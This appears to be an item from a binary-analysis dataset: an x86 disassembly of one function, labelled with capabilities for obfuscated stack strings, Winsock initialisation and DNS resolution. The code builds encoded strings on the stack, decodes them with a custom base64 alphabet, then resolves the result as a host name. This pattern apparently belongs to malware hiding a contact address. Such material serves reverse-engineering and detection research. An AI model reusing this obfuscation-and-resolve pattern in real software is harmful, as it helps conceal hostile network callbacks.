Function at 0x100484d0
Capabilities:
Contain obfuscated stackstrings
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10072541
mov eax, dword fs:[0]
push eax
sub esp, 0x378
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2c4], 0
lea edi, [ebp - 0x98]
mov dword [ebp - 4], 0
lea esi, [ebp - 0x72]
xor eax, eax
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0x98], 0x3633447b
xorps xmm0, xmm0
movq qword [ebp - 0xe0], xmm0
mov dword [ebp - 0x94], 0x41313435
mov dword [ebp - 0x90], 0x38462d45
mov dword [ebp - 0x8c], 0x342d3942
mov dword [ebp - 0x88], 0x2d374344
mov dword [ebp - 0x84], 0x46393041
mov dword [ebp - 0x80], 0x3731352d
mov dword [ebp - 0x7c], 0x30444342
mov dword [ebp - 0x78], 0x46443435
mov word [ebp - 0x74], 0x7d33
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0xd8], eax
sub esi, edi
je 0x100485ef
cmp esi, 0x7fffffff
ja 0x10049535
push esi
lea ecx, [ebp - 0xe0]
call fcn.1000d700
push esi
push edi
mov edi, dword [ebp - 0xe0]
push edi
mov dword [ebp - 0x2d8], edi
call fcn.1004ef20
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2e8], eax
mov byte [ebp - 4], 1
lea edi, [ebp - 0xd4]
xor eax, eax
mov dword [ebp - 0xf0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0x47663033
lea esi, [ebp - 0xa8]
movq qword [ebp - 0xf8], xmm0
mov dword [ebp - 0xd0], 0x6c4e786d
mov dword [ebp - 0xcc], 0x55633962
mov dword [ebp - 0xc8], 0x44534e6d
mov dword [ebp - 0xc4], 0x55486e37
mov dword [ebp - 0xc0], 0x53327a50
mov dword [ebp - 0xbc], 0x56644535
mov dword [ebp - 0xb8], 0x6958344f
mov dword [ebp - 0xb4], 0x4b4d4842
mov dword [ebp - 0xb0], 0x67415476
mov dword [ebp - 0xac], 0x3d55652b
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0xf0], eax
sub esi, edi
je 0x100486ea
cmp esi, 0x7fffffff
ja 0x1004953a
push esi
lea ecx, [ebp - 0xf8]
call fcn.1000d700
push esi
push edi
mov edi, dword [ebp - 0xf8]
push edi
mov dword [ebp - 0x2d4], edi
call fcn.1004ef20
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x2e4], eax
mov byte [ebp - 4], 2
lea edi, [ebp - 0x9c]
xor eax, eax
mov dword [ebp - 0xe4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0x794d4855
lea esi, [ebp - 0x70]
movq qword [ebp - 0xec], xmm0
mov dword [ebp - 0x98], 0x306c3362
mov dword [ebp - 0x94], 0x72684861
mov dword [ebp - 0x90], 0x474e5455
mov dword [ebp - 0x8c], 0x724a4453
mov dword [ebp - 0x88], 0x4a70465a
mov dword [ebp - 0x84], 0x36564456
mov dword [ebp - 0x80], 0x31414457
mov dword [ebp - 0x7c], 0x31515763
mov dword [ebp - 0x78], 0x4a46585a
mov dword [ebp - 0x74], 0x3d59454d
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0xe4], eax
sub esi, edi
je 0x100487d6
cmp esi, 0x7fffffff
ja 0x1004953f
push esi
lea ecx, [ebp - 0xec]
call fcn.1000d700
push esi
push edi
mov edi, dword [ebp - 0xec]
push edi
mov dword [ebp - 0x2d0], edi
call fcn.1004ef20
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x2e0], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0xfc], 0
xor edi, edi
mov dword [ebp - 0x24], 0x6b784f42
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0x61527139
lea esi, [ebp - 0x14]
movq qword [ebp - 0x104], xmm0
mov dword [ebp - 0x1c], 0x7a675549
mov dword [ebp - 0x18], 0x4d5a342c
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x2c0], edi
mov dword [ebp - 0x100], edi
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0xfc], eax
sub esi, ecx
je 0x1004888a
cmp esi, 0x7fffffff
ja 0x10049544
push esi
lea ecx, [ebp - 0x104]
call fcn.1000d700
mov edi, dword [ebp - 0x104]
lea eax, [ebp - 0x24]
push esi
push eax
push edi
mov dword [ebp - 0x2cc], edi
call fcn.1004ef20
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x2dc], eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x128]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
push str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
call fcn.10016bc0
mov dword [ebp - 0xa4], 8
mov dword [ebp - 0xa0], 0xe
mov edi, dword [ebp - 0x2d8]
lea esi, [ebp - 0x364]
mov byte [ebp - 4], 6
xorps xmm0, xmm0
mov eax, 1
mov dword [ebp - 0x354], 0
movups xmmword [ebp - 0x364], xmm0
mov dword [ebp - 0x350], 0xf
mov byte [ebp - 0x364], 0
mov dword [ebp - 0x2c4], eax
cmp edi, dword [ebp - 0xdc]
je 0x1004896a
mov al, byte [edi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x2bc], al
cmp ecx, edx
jae 0x1004894c
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x1004893b
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x2bc]
inc edi
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x10048912
push dword [ebp - 0x2bc]
mov byte [ebp - 0x2c8], 0
push dword [ebp - 0x2c8]
push ecx
mov ecx, esi
call fcn.10023be0
inc edi
jmp 0x10048912
mov ecx, dword [0x10092b8c]
cmp ecx, 0xf
jbe 0x100489a3
mov eax, dword [0x10092b78]
inc ecx
cmp ecx, 0x1000
jb 0x10048999
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004954e
mov eax, edx
push ecx
push eax
call fcn.1004d752
add esp, 8
movups xmm0, xmmword [ebp - 0x364]
mov eax, dword [ebp - 0x2c0]
sub esp, 0xc
mov edi, esp
mov edx, 1
movups xmmword [0x10092b78], xmm0
and edx, 0xfffffffe
sub eax, dword [ebp - 0x2cc]
movq xmm0, qword [ebp - 0x354]
movq qword [0x10092b88], xmm0
xorps xmm0, xmm0
mov byte [ebp - 4], 5
movq qword [ebp - 0x110], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x2ec], esp
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [ebp - 0x2c0], eax
je 0x10048a56
cmp eax, 0x7fffffff
ja 0x10049549
push eax
mov ecx, edi
call fcn.1000d700
push dword [ebp - 0x2c0]
mov esi, dword [edi]
push dword [ebp - 0x2cc]
push esi
call fcn.1004ef20
mov eax, dword [ebp - 0x2c0]
add esp, 0xc
mov edx, dword [ebp - 0x2bc]
add eax, esi
mov dword [edi + 4], eax
mov edi, dword [ebp - 0x2d0]
lea esi, [ebp - 0x34c]
mov byte [ebp - 4], 8
xorps xmm0, xmm0
or edx, 2
mov dword [ebp - 0x33c], 0
movups xmmword [ebp - 0x34c], xmm0
mov dword [ebp - 0x338], 0xf
mov byte [ebp - 0x34c], 0
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x2c4], edx
nop word [eax + eax]
cmp edi, dword [ebp - 0xe8]
je 0x10048af8
mov al, byte [edi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x2c0], al
cmp ecx, edx
jae 0x10048ada
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x10048ac9
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x2c0]
inc edi
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x10048aa0
push dword [ebp - 0x2c0]
mov byte [ebp - 0x2c8], 0
push dword [ebp - 0x2c8]
push ecx
mov ecx, esi
call fcn.10023be0
inc edi
jmp 0x10048aa0
sub esp, 0xc
lea ecx, [ebp - 0x34c]
mov eax, esp
mov dword [ebp - 0x380], esp
push ecx
push eax
call fcn.10049f00
mov edi, dword [ebp - 0x2d4]
lea esi, [ebp - 0x334]
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2bc]
or eax, 4
mov dword [ebp - 0x324], 0
movups xmmword [ebp - 0x334], xmm0
mov dword [ebp - 0x320], 0xf
mov byte [ebp - 0x334], 0
mov dword [ebp - 0x2bc], eax
mov dword [ebp - 0x2c4], eax
nop word [eax + eax]
cmp edi, dword [ebp - 0xf4]
je 0x10048bb8
mov al, byte [edi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x2c0], al
cmp ecx, edx
jae 0x10048b9a
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x10048b89
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x2c0]
inc edi
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x10048b60
push dword [ebp - 0x2c0]
mov byte [ebp - 0x2c8], 0
push dword [ebp - 0x2c8]
push ecx
mov ecx, esi
call fcn.10023be0
inc edi
jmp 0x10048b60
sub esp, 0xc
lea ecx, [ebp - 0x334]
mov eax, esp
push ecx
push eax
call fcn.10049f00
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0xa4]
call fcn.1000d250
mov edi, dword [ebp - 0x2bc]
and edi, 0xfffffffb
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x320]
cmp ecx, 0xf
jbe 0x10048c27
mov edx, dword [ebp - 0x334]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10048c1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004954e
push ecx
push edx
call fcn.1004d752
add esp, 8
mov dword [ebp - 0x324], 0
and edi, 0xfffffffd
mov dword [ebp - 0x320], 0xf
mov byte [ebp - 0x334], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x338]
cmp ecx, 0xf
jbe 0x10048c83
mov edx, dword [ebp - 0x34c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10048c79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004954e
push ecx
push edx
call fcn.1004d752
add esp, 8
push 1
xorps xmm0, xmm0
mov dword [ebp - 0x33c], 0
push 0x1007de28
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x338], 0xf
mov byte [ebp - 0x34c], 0
movups xmmword [ebp - 0x304], xmm0
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0
call fcn.10016bc0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x31c]
push eax
call fcn.10049660
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 0x11
push ecx
push eax
lea eax, [ebp - 0xa8]
push eax
call fcn.10049730
mov esi, dword [eax]
lea eax, [ebp - 0x2b8]
push 0x190
push 0
push eax
call fcn.1004f4a0
add esp, 0xc
lea eax, [ebp - 0x2b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
or edi, 8
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x2c4], edi
test eax, eax
je 0x10048d65
push 0
push 0x1007d807
lea ecx, [ebp - 0x2c]
call fcn.100112a0
jmp 0x10048e43
cmp dword [esi + 0x14], 0xf
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x8c], 2
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x88], 1
jbe 0x10048d8c
mov esi, dword [esi]
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x90]
push eax
push 0
push esi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x10048dbb
push 0
push 0x1007d807
lea ecx, [ebp - 0x2c]
call fcn.100112a0
jmp 0x10048e43
mov esi, dword [ebp - 0x2bc]
mov edi, dword [sym.imp.WS2_32.dll_inet_ntop]
test esi, esi
je 0x10048e31
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
mov dword [ebp - 4], 0x14
cmp dword [esi + 4], 2
jne 0x10048e2c
mov eax, dword [esi + 0x18]
add eax, 4
je 0x10048e2c
push 0x41
lea ecx, [ebp - 0x70]
push ecx
push eax
push 2
call edi
lea ecx, [ebp - 0x70]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10048e16
sub ecx, edx
lea eax, [ebp - 0x70]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.100112a0
mov esi, dword [esi + 0x1c]
jmp 0x10048dc7
push dword [ebp - 0x2bc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 4], 0x12
mov ecx, dword [0x10092b2c]
cmp ecx, 0xf
jbe 0x10048e83
mov eax, dword [0x10092b18]
inc ecx
cmp ecx, 0x1000
jb 0x10048e79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049553
mov eax, edx
push ecx
push eax
call fcn.1004d752
add esp, 8
movups xmm0, xmmword [ebp - 0x2c]
lea ecx, [ebp - 0xa8]
movups xmmword [0x10092b18], xmm0
movq xmm0, qword [ebp - 0x1c]
movq qword [0x10092b28], xmm0
call fcn.100119f0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x308]
cmp ecx, 0xf
jbe 0x10048ee4
mov edx, dword [ebp - 0x31c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10048eda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049553
push ecx
push edx
call fcn.1004d752
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0xf
mov byte [ebp - 0x31c], 0
cmp ecx, 0xf
jbe 0x10048f3d
mov edx, dword [ebp - 0x304]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10048f33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049553
push ecx
push edx
call fcn.1004d752
add esp, 8
mov ecx, 0x979
lea esi, [ebp - 0x17]
mov dword [ebp - 0x2c4], ecx
nop dword [eax + eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x2c4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2c4], eax
test eax, eax
jne 0x10048f50
push ecx
lea eax, [ebp - 0x17]
push eax
push esi
lea ecx, [ebp - 0xc0]
call fcn.1000d980
mov ecx, dword [0x10092b44]
cmp ecx, 0xf
jbe 0x10048fc9
mov eax, dword [0x10092b30]
inc ecx
cmp ecx, 0x1000
jb 0x10048fbf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
mov eax, edx
push ecx
push eax
call fcn.1004d752
add esp, 8
movups xmm0, xmmword [ebp - 0xc0]
push 0x10092b48
lea eax, [ebp - 0xc0]
movups xmmword [0x10092b30], xmm0
push eax
movq xmm0, qword [ebp - 0xb0]
movq qword [0x10092b40], xmm0
call fcn.10049660
push eax
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 0x15
push eax
call fcn.10049f00
push eax
lea eax, [ebp - 0x31c]
mov byte [ebp - 4], 0x16
push eax
call fcn.10049660
mov byte [ebp - 4], 0x17
cmp dword [eax + 0x10], 0x20
ja 0x10049037
push eax
lea ecx, [ebp - 0x304]
call fcn.10016860
mov edi, 0x70
jmp 0x10049070
cmp dword [eax + 0x14], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x304], xmm0
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0
jbe 0x1004905d
mov eax, dword [eax]
push 0x20
push eax
lea ecx, [ebp - 0x304]
call fcn.10016bc0
mov edi, 0xf0
mov ecx, dword [0x10092b68]
cmp ecx, 0xf
jbe 0x100490a9
mov eax, dword [0x10092b54]
inc ecx
cmp ecx, 0x1000
jb 0x1004909f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049558
mov eax, edx
push ecx
push eax
call fcn.1004d752
add esp, 8
movups xmm0, xmmword [ebp - 0x304]
movups xmmword [0x10092b54], xmm0
movq xmm0, qword [ebp - 0x2f4]
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x308]
movq qword [0x10092b64], xmm0
cmp ecx, 0xf
jbe 0x10049105
mov edx, dword [ebp - 0x31c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100490fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049558
push ecx
push edx
call fcn.1004d752
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0xf
mov byte [ebp - 0x31c], 0
test ecx, ecx
je 0x1004917c
mov edx, dword [ebp - 0xa0]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10049154
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049558
push edx
push ecx
call fcn.1004d752
add esp, 8
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xac]
cmp ecx, 0xf
jbe 0x100491ba
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100491b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049558
push ecx
push edx
call fcn.1004d752
add esp, 8
xor edx, edx
mov dword [ebp - 0xa0], 0
xor ecx, ecx
mov dword [ebp - 0x2c8], edx
mov dword [ebp - 0xa0], edx
lea esi, [ebp - 0x15]
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x322d7246
xor eax, eax
movq qword [ebp - 0xa8], xmm0
lea edx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x34302d35
mov dword [ebp - 0x1c], 0x2d34322d
mov word [ebp - 0x18], 0x2e31
mov byte [ebp - 0x16], 0x32
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0xa4], eax
sub esi, edx
je 0x10049269
cmp esi, 0x7fffffff
ja 0x1004955d
push esi
lea ecx, [ebp - 0xa8]
call fcn.1000d700
push esi
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0xa8]
push eax
mov dword [ebp - 0x2bc], eax
call fcn.1004ef20
mov ecx, dword [ebp - 0x2bc]
add esp, 0xc
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x2c8], edx
lea eax, [esi + ecx]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x37c]
or edi, 0x100
mov dword [ebp - 0x36c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2c4], edi
movups xmmword [ebp - 0x37c], xmm0
mov dword [ebp - 0x368], 0xf
mov edi, ecx
mov byte [ebp - 0x37c], 0
cmp edi, eax
je 0x10049306
mov al, byte [edi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x2c0], al
cmp ecx, edx
jae 0x100492e2
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x100492cb
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x2c0]
inc edi
mov byte [eax + 1], 0
mov byte [eax], cl
mov eax, dword [ebp - 0xa4]
jmp 0x100492a6
push dword [ebp - 0x2c0]
mov byte [ebp - 0x2ec], 0
push dword [ebp - 0x2ec]
push ecx
mov ecx, esi
call fcn.10023be0
mov eax, dword [ebp - 0xa4]
inc edi
jmp 0x100492a6
mov ecx, dword [0x10092ba4]
cmp ecx, 0xf
jbe 0x1004933f
mov eax, dword [0x10092b90]
inc ecx
cmp ecx, 0x1000
jb 0x10049335
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004954e
mov eax, edx
push ecx
push eax
call fcn.1004d752
add esp, 8
movups xmm0, xmmword [ebp - 0x37c]
mov ecx, dword [ebp - 0x2bc]
movups xmmword [0x10092b90], xmm0
movq xmm0, qword [ebp - 0x36c]
movq qword [0x10092ba0], xmm0
test ecx, ecx
je 0x10049397
mov edx, dword [ebp - 0x2c8]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1004938d
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push edx
push ecx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0x110]
test ecx, ecx
je 0x100493ef
mov edx, dword [ebp - 0x108]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x100493c7
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push edx
push ecx
call fcn.1004d752
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
mov ecx, dword [ebp - 0x114]
cmp ecx, 0xf
jbe 0x10049429
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1004941f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push ecx
push edx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0x2cc]
test ecx, ecx
je 0x10049463
mov edx, dword [ebp - 0x2dc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10049459
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push edx
push ecx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0x2d0]
test ecx, ecx
je 0x1004949d
mov edx, dword [ebp - 0x2e0]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10049493
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push edx
push ecx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0x2d4]
test ecx, ecx
je 0x100494d7
mov edx, dword [ebp - 0x2e4]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x100494cd
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push edx
push ecx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0x2d8]
test ecx, ecx
je 0x1004950d
mov edx, dword [ebp - 0x2e8]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10049503
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10049562
push edx
push ecx
call fcn.1004d752
add esp, 8
mov al, 1
jmp 0x10049519
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1004d713
mov esp, ebp
pop ebp
ret
call fcn.1000d6f0
call fcn.1000d6f0
call fcn.1000d6f0
call fcn.1000d6f0
call fcn.1000d6f0
call fcn.1005260f
call fcn.1005260f
call fcn.1005260f
call fcn.1000d6f0
call fcn.1005260f
int3